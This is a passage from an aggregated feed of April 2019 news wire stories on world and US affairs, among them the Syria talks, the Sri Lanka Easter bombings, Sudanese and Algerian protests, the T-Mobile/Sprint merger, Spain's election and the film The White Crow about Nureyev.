talks Friday, Syria's warring sides and the mediators failed again to agree on the formation of a committee meant to draft a new constitution, seen by the United Nations and the U.S. as a key step toward ending the eight-year civil war. With crucial military assistance from Russia and Iran, President Bashar Assad's forces have regained control of most of the territory previously held by rebels. Government-held areas, however, have been reeling from the effects of economic sanctions imposed on Syria and its ally Iran. Ja'afari's comments came amid widespread fuel shortages in Damascus and other government-controlled areas that have forced people to wait for hours in lines stretching several miles (kilometers) to get few liters (gallons) of gasoline. "This is economic terrorism that is escalating through unilateral economic measures," Ja'afari said, adding that they are illegitimate because they are not the decision of the U.N. Security Council. The Syrian official also blasted western countries that are refusing to take back their citizens who went to Syria to fight with the Islamic State group, saying they made "Syria a victim twice," first by sending the fighters and now by making some of them and their families stay in Syria. Story continues He added that IS has not been wiped out as the U.S. and Syrian fighters it backs announced last month, adding that Syrian government forces and their allies are still fighting the extremists in pockets they hold in the desert. A final statement issued at the end of Astana's 12th round also rejected President Donald Trump's formal recognition of Israel's sovereignty over Syria's occupied Golan Heights. Ja'afari said Turkey and opposition groups it backs now control more than 6,000 square kilometers (2,315 square miles) of northern Syria which is four times the size of the Golan Heights. It was not immediately clear whether any agreements had been reached on the northwestern province of Idlib, where a 7-month-old cease-fire agreement reached between Turkey and Russia is increasingly being violated. In Syria, opposition activists said insurgents fired two rockets at Russia's Hemeimeem air base in Latakia province, adding that Russian warplanes launched several airstrikes in retaliation on rebel-held areas in Hama and Idlib provinces. It was not clear if the rockets hit the base and there was no immediate comment from Russian or Syrian authorities. The Britain-based Syrian Observatory for Human Rights, an opposition war monitor, said the airstrikes killed three people, including a child. ___ Associated Press writer Bassem Mroue contributed to this report from Beirut. By David Shepardson WASHINGTON (Reuters) - T-Mobile US Inc and Sprint Corp executives this week urged senior U.S. regulators to approve the proposed tie-up, saying the combined company would have the incentive to slash prices, according to a filing on Thursday. At the meeting Wednesday, Federal Communications Commission officials questioned company executives about such issues as "submitted economic modeling, including how it is conservative in measuring benefits and pricing constraints," according to a filing with the FCC from a lawyer for the companies. "They also discussed their pricing commitments as well as the incentives for New T-Mobile to aggressively lower prices," the letter said. The carriers argued that customers with prepaid phone plans "would be among the biggest beneficiaries of the transaction." They suggested that without the merger, T-Mobile and Sprint "will likely have to raise prices" because they "will lack the capacity to keep up with growing demand for wireless data." Congressional Democrats and consumer activists have objected to the $26 billion merger saying it will raise prices for wireless customers. Kathleen Ham, senior vice president for government affairs at T-Mobile, along with lawyers for both companies, met with FCC Chief of Staff Matthew Berry and other senior officials on Wednesday to answer questions about the deal. If completed, the tie-up of the third- and fourth-largest U.S. wireless carriers would create a carrier with 127 million customers that would be a formidable competitor to the No. 1 wireless carrier Verizon Communications Inc and No. 2 AT&T Inc. Last week, T-Mobile chief executive John Legere and Sprint executive chairman Marcelo Claure made the case for the deal to FCC Commissioner Jessica Rosenworcel. In February, a group of eight Democratic senators and independent Senator Bernie Sanders urged the Justice Department and FCC to reject the deal, saying it could boost monthly bills as much as 10 percent. Sources told Reuters last week that the Justice Department had concerns about the merger's current structure. Legere met last week with the head of the Justice Department's antitrust division, Makan Delrahim, as the government's review nears a conclusion, Reuters reported. A decision is likely by early June, people briefed on the matter said. In October, shareholders for both companies approved the deal, struck in April 2018. It has also received national security clearance, but still needs approval from the Justice Department and FCC. A number of state attorneys general are also reviewing it. To win support, T-Mobile had said it would not increase prices for three years and will offer 5G services at no additional charge. (Reporting by David Shepardson; Editing by David Gregorio) The tawny owl washed up beautifully after being rescued from a Devon slurry pit (RSPCA) A tawny owl enjoyed a deep clean after nearly drowning as result of falling into a slurry pit. The RSPCA rescued the bird from the pit in Broadhembury, near Honiton, Devon, on Saturday, and found the beautiful creature completely covered in filth. After a member of the public reported the birds plight to the RSPCA, Inspector Marije Zwager swooped in to rescue her. Animal officers said it was 'lucky' the bird survived the ordeal (RSPCA) After retrieving her from the pit, the RSPCA officer took the owl to the RSPCA West Hatch Wildlife Centre in Somerset, where staff gave her a deep-clean and bath. After her long bath, she was restored back to her full glory. Inspector Zwager said of the rescue operation: The poor tawny owl was in a right state. Read more on Yahoo News UK Pug rescued unhurt by firefighters after falling 40 metres down a well Emperor penguin colony catastrophe after 'severe weather kills thousands of chicks' Animal rights activists free 9,000 pheasants and vow to 'dismantle the shooting industry' Her beautiful feathers were absolutely filthy and stuck together with thick, black slurry. I held out little hope she would survive this ordeal. Shes very lucky to be alive as she very nearly drowned in the slurry. Once well enough, the owl will be released back into the wild near the area she was found. The magnificent bird after her deep-clean bath at West Hatch Wildlife Centre (RSPCA) West Hatch Wildlife Centre manager Bel Deering said of the case: When we admitted the owl she was very cold, sad and dirty. It was hard to tell what condition she was in and whether she would survive due to all the contamination. After being warmed up, rested and receiving fluid therapy, she was washed in our specialist bird wash room. Thankfully the slurry came off well and, after drying, a beautiful tawny owl appeared again! The British tawny owl is said to be in decline, according to figures released by the British Trust for Ornithology (BTO). As of September 2018, there was thought to be just 50,000 breeding pairs of the magnificent birds in the UK. ---Watch the latest videos from Yahoo UK--- SEATTLE (AP) The shadow of the past year's teacher protest movement is hanging over state capitals, where officials are piecing together the money to make good on promised pay raises and try to forge a sustainable funding formula for the future. From Washington state and Arizona to Oklahoma and Texas, state lawmakers are confronting a new political reality that the "Red4Ed" movement left behind. The walkouts that began in February 2018 in West Virginia and spread across the country forced a national conversation about the value of a teacher and the conditions of public school classrooms. It also bolstered the political momentum among teacher unions and education advocates who say they suffered the brunt of many cost-cutting budgets over the years and are now unapologetic about demanding more money and resources. In Olympia, Washington, state lawmakers are scrambling to put out a budget after a wave of educator unrest at many school districts last year led to an unprecedented number of walkouts. "What it highlighted not just in Washington but in many states is that we were shortchanging our students for too long," said Rich Wood, Washington Education Association spokesman. The state has been under court order for years to better fund schools following a landmark legal case. Two years ago, lawmakers decided to resolve the court battle with a funding formula that has since infused billions of dollars into the education budget but also raised state taxes while limiting local levies. But given the way the political dynamics turned in the past year, school districts are now projecting budget deficits in the millions and have warned of job cuts. Lawmakers in turn are now being forced to consider lifting the cap on local levies to help school systems stay afloat. Seattle public schools want the cap lifted to be able to tap into $145 million in levy money that voters have already approved. Last year, teachers threatened to strike just before the first day of school and won a 10.5% pay raise. Story continues "Like many districts across Washington state, expenditures are outpacing revenues. In the past local levies could be used to make up the gap between what the state provides for K-12 education and what it actually costs," said Carri Campbell, chief of public affairs in Washington state's largest school system. The head of the Arizona Republican Party this week also urged lawmakers to put a sales tax hike on the ballot to help fund education in the long-term. Teachers last year won a 20% salary increase after a six-day statewide strike, which is largely being funded by revenue growth in a strong economy. "I've heard that some donors are upset that a chairman of a political party is taking a stance on policy. But I can tell you I'm standing before you because Republicans are the party of education solutions and of our future," said Kelli Ward. And it's a sign of the times when even the staunchest Republicans in Texas are ready to pay up, attributed largely to party leaders reading between the lines after a tough election year in 2018. Even though the teacher protests movement hasn't actually surfaced in the Lone Star State, the GOP-dominated Texas Legislature this session has been juggling bills in both the House and Senate that would effectively fund teacher pay raises. The House's $9 billion bipartisan school finance bill gives districts more flexibility in deciding allocation while earmarking at least $2.4 billion for pay hikes for teachers and support staff. The Senate, meanwhile, is pushing a proposal that would give all teachers in Texas a $5,000 salary increase, which will rank as among the biggest in the U.S. ___ AP writer Clarice Silber contributed from Austin, Texas. ___ Sally Ho covers philanthropy and education. Follow her on Twitter: https://twitter.com/_SallyHo By Khalid Abdelaziz KHARTOUM, April 26 (Reuters) - Thousands of people prayed on Friday outside the defense ministry in Khartoum, site of a massive anti-government sit-in that has continued unabated even after the military removed President Omar al-Bashir from power two weeks ago. The sit-in, the culmination of months of demonstrations against Bashir's three decade rule, began on April 6 but was not halted after the army removed Bashir from power on April 11. Protesters are now demanding the restoration of civilian rule. Friday's prayer was led by Matar Younis, a 49-year-old blind religious teacher from the Darfur region who was repeatedly jailed under Bashir. "We call for a democratic, civilian state," Younis told Reuters. "We reject military rule. The role of the military is to protect the country, not rule the country." The opposition is demanding a quick handover to democracy from the military Transitional Military Council (TMC) which took over after removing Bashir. Reuters estimated that 20,000 people took part in the Friday prayer outside the defense ministry. A larger than usual share of them were elderly, dressed in traditional white robes. Younis told Reuters he wanted women and young people to participate in governing Sudan. "Women and young people are the ones who led the revolution," he said. Last year, while Younis was imprisoned, Amnesty International called for his release, saying he was detained for calling for the protection of displaced people from Darfur and standing up for human rights. Bashir is wanted by the International Criminal Court over allegations of genocide in the Darfur region, charges he denies. After the prayer, protesters chanted "civilian, civilian," referring to their demand for civilian rule. Some distributed free juice to the protesters who had showed up despite of temperatures exceeding 40 degrees Celsius (104 F). Musicians dressed in clothes made from animal skin sang folklore songs. Story continues "We will defend democracy and refuse military rule," said Mahgoub Bushra, a 45-year-old accountant who brought his two young children to the protest site. "The people of the revolution died and were imprisoned and tortured for the sake of democracy not for the sake of military rule." On Thursday night, hundreds of thousands also massed outside the defense ministry to demand civilian rule. The protesters were responding to a call by the Sudanese Professionals' Association (SPA), the main protest organizer, for a million people to join the march. This followed an announcement from the TMC saying it would retain "sovereign authority," while all ministry posts, including the prime ministry, would be headed by civilians. (Writing by Lena Masri Editing by Peter Graff) ALGIERS (Reuters) - Tens of thousands of protesters demanding the departure of Algeria's ruling elite rallied peacefully in Algiers for a tenth consecutive Friday. President Abdelaziz Bouteflika stepped down after 20 years in power this month, bowing to pressure from the army and weeks of demonstrations mainly by young people seeking change. "The system must go" and "We are fed up with you," read banners held up by protesters in central Algiers, scene of mass protests since Feb. 22. There was no official count but Reuters reporters estimated the number of participants rising after Friday prayers to tens of thousands, like last week. "The people want to uproot you," a crowd chanted, addressing the elite which has ruled the oil- and gas-producing nation since independence from France in 1962. The protests, which have been largely peaceful, have continued as many demand the removal of the elite and prosecution of those they see as corrupt. Bouteflika has been replaced by Abdelkader Bensalah, head of the upper house of parliament, as interim president for 90 days until a presidential election on July 4. He has been facing demands from the street to quit. Algerias wealthiest businessman and four other tycoons close to Bouteflika were arrested this week as part of an anti-graft investigation, state media said. The arrests came after army chief Lieutenant-General Ahmed Gaed Salah said he expected members of the ruling elite to be prosecuted for corruption. Salah intervened when Bouteflika sought to extend his fourth term, declaring him unfit for office, in a bid to avoid prolonged turmoil. (Reporting by Hamid Ould Ahmed and Lamine Chikhi; Writing by Ulf Laessing; Editing by Janet Lawrence) COLOMBO, Sri Lanka (AP) Sri Lankan security forces found 15 bodies, including six children, early Saturday after militants linked to the Easter bombings opened fire and set off explosives during a raid on their house in the country's east, police said. The gunbattle began Friday night after police tipped off soldiers to a suspected safe house near the town of Sammanthurai , where authorities said the militants detonated three explosions and opened fire. At least three others were wounded in the attack, said police spokesman Ruwan Gunasekara. He said that some of the dead likely were militants who blew themselves up in suicide bombings. Police say that 15 bodies including six children have been found after a raid in east Sri Lanka on militants linked to the Easter bombings. Police spokesman Ruwan Gunasekara gave the figures early Saturday after a gunfight between soldiers and the suspected militants near Sammanthurai. The gunbattle began Friday night after police tipped off soldiers to a suspected safe house, where authorities say the militants set off three explosions and opened fire. At least three others were wounded in the attack. Gunasekara says some of the dead likely were militants who blew themselves up in suicide bombings. Earlier, the military said at least one civilian had been killed in the attack. NEGOMBO, Sri Lanka (AP) An impatient little girl in a pretty dress pulls on the hand of a man, possibly her grandfather, as they cross a brick courtyard outside St. Sebastian's Church on Easter Sunday. Directly in her path a slightly built, bearded man, bent beneath the weight of a large backpack, slows down so he doesn't bump into the girl, his fingers seeming to touch her hair for just an instant as she passes. And then, CCTV cameras show, they both go about their day, the girl continuing across the courtyard, the man with the pack marching with purpose toward the main church building a common, almost mundane interaction made chilling only by what happens next. Story continues Some were celebrating one of the holiest days in Christianity. Some were working at Colombo hotels. Some were sitting down to brunches of shrimp and chicken and dim sum and sticky rice pudding and tables of food that seemed to go on forever. They were mostly Sri Lankan, but also British, American, Indian, Danish, Chinese and more. They were children. They were parents. And suddenly, in three churches and three high-end hotels, their lives intersected with suicide bombers who, authorities say, wanted to wreak vengeance on what they see as a world of infidels. Roughly 250 people died in six coordinated suicide bombings that ripped through Sri Lanka on Easter Sunday. WASHINGTON (AP) President Donald Trump expressed confidence Friday that a bilateral trade deal between the U.S. and Japan can be reached quickly despite ongoing differences over tariffs as he opened talks with Prime Minister Shinzo Abe at the White House. Abe is the rare world leader who has managed to develop a personal relationship with Trump. They get along so well that Abe and his wife, Akie, joined Trump and his wife, Melania, for a couples' dinner Friday in the White House residence to celebrate the U.S. first lady's 49th birthday. The leaders planned to meet for a quick round of golf Saturday. COLOMBO, Sri Lanka (AP) At 12:10 p.m. Friday, men and boys in a Muslim neighborhood in Sri Lanka's capital did something everyone had warned them not to do: They came together to pray. Hundreds gathered at the Masjidus Salam Jumma mosque for their communal Friday prayers, one of many mosques that conducted services despite warnings of retaliatory violence. And while praying through tears to Allah to help their fellow countrymen, all stressed one thing: the Islamic State-claimed Easter attacks targeting churches and hotels that killed at least 250 people came from people who didn't truly believe the teachings of Islam. COLOMBO, Sri Lanka (AP) Government dysfunction and an intelligence failure that preceded the Easter Sunday bombings in Sri Lanka are traced to simmering divisions between the president and prime minister after a weekslong political crisis that crippled the country last year. The government has admitted to a "lapse of intelligence" after officials failed to act upon near-specific information received from foreign agencies. Suicide bombers exploded themselves last Sunday in three churches and three luxury hotels, killing 253 people and wounding 400 more. Authorities said eight Muslim militants blew themselves up at their targets while the wife of one of the attackers blasted herself on being rounded up by police. COLOMBO, Sri Lanka (AP) Hour by hour the death toll from Sri Lanka's Easter Sunday bombing attacks climbed. And then on Thursday it suddenly dropped. Sri Lankan authorities drastically revised the number of people killed in the near-simultaneous blasts at churches and luxury hotels in and around Colombo and in the distant seaside town of Batticaloa from 359 on Wednesday to around 250. A top Health Ministry official, Dr. Anil Jasinghe, said that some bodies had been torn to pieces, and others had been destroyed, making identification difficult. But the discrepancy in the death toll was just one of many, the latest in a pattern of claims and counterclaims that have muddled the investigation into the Islamic State group-claimed attacks and called into question the government's ability to handle it, as suspects with possible access to explosives reportedly remain at large. NEGOMBO, Sri Lanka (AP) Nearly a week later, even after the cleaners have come through, the blood can still be seen clearly. The statues of Jesus and the saints are still speckled with fragments of shrapnel. The smell of death is everywhere, though the bodies are long gone. Yet somehow, there's a beauty to St. Sebastian's, a neighborhood church in a Catholic enclave north of Sri Lanka's capital, where a man calmly walked in during Easter services with a heavy backpack and blew himself up. You can see the beauty in the broken stained-glass windows. It's there as the sun shines through the roof's gaping holes. YANGON, Myanmar (AP) The arrest of an American man in Myanmar for growing 20 acres of cannabis plants is unjust because authorities were aware that his company was doing scientific research and police were confusing hemp with recreational marijuana, his lawyer said Friday. Attorney Thein Than Oo said that John Fredric Todoroki and the III M Global Nutraceutical Co. had received official permission for their activity, which he described as research. "This company rented the land and is running its laboratory officially," he said. "Their intention is to do research, not to sell or distribute. If their research goes well, they will work with the government." Myanmar's anti-drug agency says Todoroki and two Myanmar citizens were arrested after police on Monday raided the plantation on an industrial estate in the country's central Mandalay region. Missed the the most recent top news in San Diego? Read on for everything you need to know. California Assembly passes gun show ban at Del Mar Fairgrounds The Assembly voted 48-16 today in favor of a bill co-authored by three San Diego County legislators that will ban gun and ammunition sales at gun shows held at the Del Mar Fairgrounds. Read the full story on 10News ABC San Diego KGTV. Bomb squad investigating suspicious package near zoo A bomb squad is on scene investigating a suspicious package near the San Diego Zoo. Read the full story on 10News ABC San Diego KGTV. San Diego smog among the nation's worst A new American Lung Association report finds San Diego is the sixth smoggiest city in the country and the number of unhealthy ozone days is going up. Read the full story on KPBS. SDPD makes arrest in killing of City Heights mother San Diego police have arrested a suspect in the killing of a woman found dead by her daughter inside her home in Colina Del Sol. Read the full story on NBC 7 San Diego. San Diego financial adviser suspected in Ponzi scheme arrested A San Diego financial adviser accused of carrying out an alleged Ponzi scheme in which he took over $6 million from clients has been arrested, a sheriffs department official told Team 10. Read the full story on 10News ABC San Diego KGTV. This story was created automatically using data about news stories on social media from CrowdTangle, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. By David Shepardson WASHINGTON (Reuters) - Toyota Motor Corp said on Friday it was halting plans to install Dedicated Short-Range Communications technology on U.S. vehicles aimed at letting cars and trucks communicate with one another to avoid collisions. Automakers have been divided over whether to proceed with the DSRC system or use a 4G- or 5G-based system in the United States. Toyota's announcement is a major blow to advocates of DSRC. The Japanese automaker announced plans in April 2018 to begin the installation of DSRC technology in 2021 "with the goal of adoption across most of its lineup by the mid-2020s." On Friday, it said in a letter to the Federal Communications Commission (FCC) that "unfortunately we have not seen significant production commitments from other automakers." Automakers were allocated a section of spectrum for DSRC in the 5.9 GHz band in 1999 but it has essentially gone unused. Some FCC and cable company officials want to reallocate the spectrum for WiFi and other uses. Testing has gone on for years to see if the band can be shared. DSRC supporters note the U.S. Transportation Department has invested over $700 million in the system's development. The cellular option has issues, including problems with interoperability, and is not mature enough to be deployed in the 5.9 GHz band, they say. Toyota said Friday's decision was based on "a range of factors, including the need for greater automotive industry commitment as well as federal government support to preserve the 5.9 GHz spectrum band for DSRC." The chance that the band could be subjected to "harmful interference from unlicensed operations... creates a substantial and arguably insurmountable risk," the company said. It said that it would "continue to re-evaluate the deployment environment" and said it is still a strong backer of DSRC "because we believe it is the only proven and available technology for collision avoidance communication." Story continues Toyota's announcement means it is "imperative that the FCC provide clear guidance and certainty to the private sector companies and road operators that are trying to create a safer environment," said the Intelligent Transportation Society of American, a group representing public, private and academic organizations. DSRC transmissions enable vehicle-to-vehicle and vehicle-to-infrastructure communications and broadcast precise vehicle information up to 10 times per second, including location, speed and acceleration. NHTSA has estimated that connected vehicles technologies could eliminate or reduce the severity of up to 80 percent of crashes not involving impaired drivers. General Motors Co backs DSRC and has installed the technology on a small number of Cadillac CTS sedans it has sold since 2017. In December 2016, the Department of Transportation proposed to mandate DSRC in all new vehicles. The Trump administration has not acted on the proposal. Last year, the acting head of the U.S. National Highway Traffic Safety Administration, Heidi King, said the agency's "past research has centered around DSRC because that was the only technology available." The NHTSA was "exploring other technologies" including cellular-based services being pursued by Ford Motor Co, she said. Ford said in January it planned to deploy cellular vehicle-to-everything technology, or C-V2X , in all new U.S. vehicle models beginning in 2022. The Transportation Department plans a meeting on Monday with automakers and state transportation officials about connected vehicle efforts, officials said on Friday. (Reporting by David Shepardson; Editing by Tom Brown and Sonya Hepinstall) Madrid (AFP) - For weeks Spanish politicians have traded insults such as "traitor" and "fascist" as they seek to rally voters ahead of a general election on Sunday by reviling their rivals. "It's an especially paroxysmal, polarising campaign, riddled with hyperboles and without concrete discussions of the issues," Manuel Arias, a political science professor at the University of Malaga told AFP. With opinion polls showing many voters will decide at the last minute, left-wing parties -- including Prime Minister Pedro Sanchez's Socialists -- and their right-wing rivals are locked into a duel of inflamed rhetoric, warning of the danger that voting for the other side represents. This is happening in "a new international context" of "emerging populisms" and strident speeches in both Europe and the Americas which is "somehow permeating" Spain's election campaign, said Jose Ruiz San Roman, a professor of sociology and public opinion at the Complutense University of Madrid. Shortly after the snap election was called in February, Casado caused a stir when in a single speech he lobbed over 20 insults against Sanchez, calling him "the biggest traitor in Spain's democratic history", a "compulsive liar", "disloyal", "egotist", "mediocre" and an "illegitimate prime minister". He recently accused Sanchez of making a pact with "a hydra with seven heads made up of Batasuna, ETA supporters, communists, pro-Chavez, pro-Castro forces." Casado was referring to the fact that Sanchez came to power in June after winning a no-confidence vote against his PP predecessor with the support of Catalan separatists, far-left party Podemos and Basque independence party Bildu, a successor of Batasuna, the banned political wing of armed separatist group ETA. - 'Black and white Spain' - The leader of centre-right party Ciudadanos, Albert Rivera, has said removing Sanchez from office is a "national emergency" because of his willingness to engage with Catalan separatist parties. Story continues "The Frankenstein government has died, but Sanchez will try to resuscitate it by any means," he tweeted recently. Meanwhile, Santiago Abascal, the leader of far-right party Vox which is on course to win its first seats in parliament, has railed against "traitors who today govern, supported by all of Spain's enemies." The Socialists have warned of a return to a "Spain in black and white" if the PP, Ciudadanos and Vox win the most seats in the polls, as they did in a local election in December in the southern region of Andalusia, a Socialist fiefdom. The party argues Vox is "clearly Francoist", in a reference to dictatorship of General Francisco Franco which lasted from 1939 until his death in 1975. - 'Fear works' - During two televised debates on Monday and Tuesday Sanchez, Casado and Rivera accused each other of lying while the leader of far-left party Podemos, Pablo Iglesias, repeatedly urged his rivals not to "overact". Polls suggest no party is likely to command an overall majority, with a hung parliament almost certain. "A very emotional discourse is being used and fear is the most basic emotion, and it produces the quickest reaction" in voters, said Silvia Martinez, professor of social media, management and strategy at the Open University of Catalonia. Ruiz San Roman said the verbal attacks come at an unparalleled time in Spain's modern history, amid a "very hard" Catalan push for independence and in the wake of high-profile political corruption cases like one that led Sanchez to oust the PP from power with the no-confidence vote. "Fear works well. Because if I create real fear in you, identify the other with that real fear... the solution is easy: you cast your vote for the opposite side," he noted. European travel group TUI said Friday they are cancelling all trips to Sri Lanka following the deadly Easter bombings and offering to repatriate customers already there. The tour company said those planning to visit Sri Lanka in the coming weeks with TUI will be contacted and their holiday rescheduled or fully refunded -- in both cases free of charge. Holidaymakers currently in Sri Lanka will be offered early flights home with around 350 travellers from Britain and Germany affected, according to the travel company. A TUI UK press spokesperson told AFP "just under 200" holidaymakers who booked a trip through them are in Sri Lanka. Sister company TUI Germany said it has around 150 tourists there. Following the deadly attacks, which killed 253 people on April 21 in Colombo, Negombo and in Batticaloa, "the security situation is tense throughout the country. There is always the danger of further attacks," said TUI in a statement. The tour group said it made the decision based on advice by both the German and British foreign ministries and have stopped taking bookings of holidays to Sri Lanka "at the present time." Travellers currently in Sri Lanka are "advised to be more vigilant" and avoid travelling to Colombo unless necessary, TUI has warned. On Friday, Dutch tour operators also announced they will be flying their customers home in the coming days from Sri Lanka. The director of the Calamiteitenfonds group said Friday that around 500 Dutch tourists are affected. Sri Lanka fears its lucrative tourism industry could see arrivals drop up to 30 percent, with losses of $1.5 billion this year, the finance minister said Friday. More than a thousand migrants broke out of a detention centre in southern Mexico on Thursday evening, authorities said, in a fresh sign of how a surge in arrivals has stretched the countrys resources to the limit. More than half of the roughly 1,300 migrants later returned to the Siglo XXI facility in the border city of Tapachula in Chiapas state, but about 600 are still unaccounted for, the National Migration Institute said in a statement. Migrants from Cuba, who make up the majority of the people being held at the centre, were largely behind the breakout, the institute added. Mexican newspaper Reforma reported that Haitians and Central Americans were also among those who fled the facility, which has been crammed with people. Mexico has returned 15,000 migrants in the past 30 days, officials have said, amid pressure from U.S. President Donald Trump to stem the flow of people north. On Wednesday Trump reiterated threats to close part of the U.S.-Mexico border if Mexico doesnt block what described as a new caravan of migrants headed north. The majority of migrants moving through Mexico are from Guatemala, Honduras and El Salvador, but Cubans are also joining in large numbers. More than 1,000 people from Cuba are now in Chiapas, according to Mexican officials. April 26 (Reuters) - Police have charged a truck driver with vehicular homicide after he triggered a fiery multi-vehicle crash that killed a still unknown number of motorists, some of whom remain in the wreckage on an interstate near Denver, authorities said on Friday. The crash on Thursday afternoon turned a stretch of Interstate 70, a major east-west highway, into a raging inferno that involved at least 28 vehicles and may have damaged the road surface and an overpass, authorities said. A day after the crash, the death toll remains at "multiple" as responders and investigators inspect the burned-out vehicles, Lakewood, Colorado, police spokesman Ty Countryman told reporters. "We're just saying 'multiple' at this time," he said, adding that six people were taken to hospitals. Asked whether there were still any bodies at the crash site, Countryman said, "Unfortunately, yes, there are." Police said the chain-reaction crash started when a tractor-trailer truck collided with slower traffic on the highway. The driver, who was injured in the crash, but not seriously, was taken into custody after police determined they had sufficient cause to bring "multiple counts of vehicular homicide" against him, Countryman said. There was no indication that the driver, who was not immediately identified, intentionally caused the crash, Countryman said, adding that "at this time there's no evidence of drugs or alcohol." Despite the criminal charges, Countryman said investigators were also trying the determine if the truck's brakes failed. The stretch of Interstate 70, which runs through Denver west into the Rocky Mountains, will remain closed in both directions at least until sometime on Saturday, state Department of Transportation Chief Engineer Josh Laipply told reporters. Parts of the highway will need to be resurfaced and, while a preliminary check shows that a bridge over the crash site was undamaged, it will need a full safety inspection, Laipply said. (Reporting by Peter Szekely in New York; editing by Jonathan Oatis) When the Russian ballet dancer Rudolf Nureyev came to Paris to tour with the Kirov ballet company in 1961, he was like a wild animal out of a cage, says Oleg Ivenko, the 26-year-old Ukrainian dancer and actor who plays Nureyev in the new movie The White Crow, out April 26 in the United States. He got a taste of freedom and another world. And once he got that taste, there was no going back literally. Nureyev defected to the West in June of 1961, at the height of the Cold War, an act considered treason in the Soviet Union. The defection made international news and thrust the Russian dancer, whose talent drew millions of new fans to the theater, into the public eye for the next 30 years. In April 1965, a TIME cover story profiled Nureyev, noting that he stands out as one of the most electrifying male dancers of all time. He was ballets first pop icon and transformed the role of men in the art form, says Tamara Rojo, the Director and Principal Dancer at the English National Ballet (ENB). The Apr. 16, 1965, cover of TIME | TIME / Painted by Sidney Nolan The White Crow which was a childhood nickname for Nureyev, because he was unusual charts Nureyevs story from his life of poverty in the Russian city of Ufa to his historic escape to France. Its based on Julie Kavanaghs 2007 biography of the dancer, with a script by British playwright David Hare and directed by Ralph Fiennes. Kavanagh, a journalist who also trained as a dancer, researched the dancers life for over a decade, prising open USSR records and interviewing dozens of those who were close to him. As TIME wrote in 1965 of his entry into the West, Nureyevs story could not have been more compelling if it had been choreographed by Alfred Hitchcock. But how much of the movie version matches the real research? Heres more on the man widely regarded as the best male dancer of his generation. Did the KGB really follow Nureyev before he defected? Story continues In the movie, even before the defection, officers from Russias state security service, the KGB, follow Nureyev around Paris and repeatedly warn him against staying out late, as well as spending time with Clara Saint the 21-year-old daughter of a wealthy Chilean artist and other French creatives. As Kavanaugh writes in her book, Nureyev was in fact unpopular with Soviet authorities even before he decided to leave. His overt admiration for the West, coming at the height of the Cold War, alarmed them and was seen as a betrayal to the motherlands communist ideals. He drew particular attention because ballet was a key propaganda tool used by the Soviet authorities to display its cultural supremacy to the West. Soviet dancers could be dropped from foreign excursions at any time for the wrong behavior, writes Kavanagh, and the KGB did have officers in Paris minding the ballet dancers on that 1961 trip though its hard to say whether the level of surveillance in the movie matches exactly the real-life version of events. Nureyevs defection was doubly humiliating because it came just two months after the Soviet Union outshone the West by sending the first person into space, cosmonaut Yuri Gagarin. In losing Nureyev, the Soviet Union also lost some of the international prestige it had just worked so hard to acquire. Much of the Western media seized on the defection as an ideological blow to the Soviets, a Cold War humiliation and a triumph for democracy. But Hare, the screenwriter, has said Nureyevs choice to defect was more practical than political. And according to Ivenko, Nureyevs worst nightmare was not being seen as a dancer, which would have happened if he stayed in the Soviet Union. Did Nureyev really choose to defect at the airport? In the movie, Nureyev makes the decision to defect at the Le Bourget airport in Paris, after KGB officers tell him he is being sent back to Moscow to perform at a Kremlin gala. Nureyev was convinced he was being punished for his unruliness in Paris, and that, once he was back on Soviet soil, he would never be allowed back out. The film shows how Clara Saint, whom he befriended in Paris, helped him. Saint, now 78, confirmed this sequence of events in a 2015 interview with The Australian. After getting a panicked call from Nureyev, she sped to the airport, where she told Nureyev to approach the French police and assured him the KGB could not force him to return to Moscow. Saint was essential in helping him to defect. Get your history fix in one place: sign up for the weekly TIME History newsletter Was Nureyev as volatile as The White Crow suggests? In the movie portrayal, Nureyev comes across as occasionally insensitive and rude. By some accounts, he was far worse. Kavanagh writes that he once threw a ballet dancer on the floor and stormed off, frustrated he could not perform a shoulder lift. He never apologized for being himself. I think he was a little boy trapped in a mans body, Ivenko tells TIME. Those close to Nureyev have described him as a wild perfectionist, charming and stubbornly rude. He demanded the maximum from himself. The only critic is a full house, he would say. But we must not forget how generous he was, says Tamara Rojo. Dancers whom he trained spoke about how he nutured their skills, she says. Long after achieving world fame, Nureyev mentored and trained young ballet dancers, who continue to inspire the next generation today. He enabled them to be free on the stage, Rojo adds. It is very rare for someone who has achieved so much to recognize that each dancer has to become their own artist. Was Nureyev one of the greatest ballet dancers of the 20th century? White Crow showcases Nureyevs distinct talent, his grand stage presence and his ability to jump higher and leap farther than other male dancers. And his impact on the art form was in fact immense, says Rojo. He transformed the perception of what a male classical ballet dancer can do, helping to make the male role in ballet more equal with the female. Hes also seen as the first male ballet dancer to break into other art forms and attract wider audiences, making his acting debut in a film, Les Sylphides, in 1962. As Director of the Paris Opera Ballet from 1983 until 1989, Nureyev gave the company an international repertoire and reached new audiences. Rojo says he achieved this by bringing in young choreographers who had never been invited to a ballet environment. He widened the scope of people who created ballet. Thats the best way to reach more people. You can only bluff your way to a new audience for so long, says Rojo, who has herself worked to make the English National Ballet more diverse and has made a point to commission more female choreographers, a role traditionally carried out by men. And despite being diagnosed with AIDS in 1984, Nureyev continued working until 1991, just two years before his death in 1993. But what made him special was not that he was technically perfect Ivenko says. Rather, his legacy is the energy, personality and grandness he brought to the stage and fed to his audience. As Nureyev himself famously said, Technique is what you fall back on when you run out of inspiration. One moment he could appear to be in perfect control, and the next, on the edge of spinning out of control. His fans said his unpredictability only added to his magnetism. In ballet, he performed more than 90 different roles with 30 companies and created his own versions of several ballets including Sleeping Beauty, Swan Lake and Romeo and Juliet. Nureyev forged his art on on both sides of the Iron Curtain, says Rojo, and forced people to look at what is sacrosanct, to question it, to challenge traditions. WASHINGTON (Reuters) - President Donald Trump approved payment of a $2 million bill presented by North Korea to cover its care of comatose American Otto Warmbier, a college student who died shortly after being returned home from 17 months in a North Korean prison, the Washington Post reported on Thursday. The Post said an invoice was handed to State Department envoy Joseph Yun hours before Warmbier, 22, was flown out of Pyongyang in a coma on June 13, 2017. Warmbier died six days later. The U.S. envoy, who was sent to retrieve Warmbier, signed an agreement to pay the medical bill on instructions passed down from Trump, the Post reported, citing two unidentified people familiar with the situation. "We do not comment on hostage negotiations, which is why they have been so successful during this administration," White House spokeswoman Sarah Sanders told Reuters. Yun also told Reuters he could not comment on diplomatic exchanges. But in an interview with CNN on Thursday, he said he was given broad orders to secure Warmbier's release and he understood the instructions came directly from Trump. "Yes, my orders were completely: Do whatever you can to get Otto back," he told CNN. Yun said he 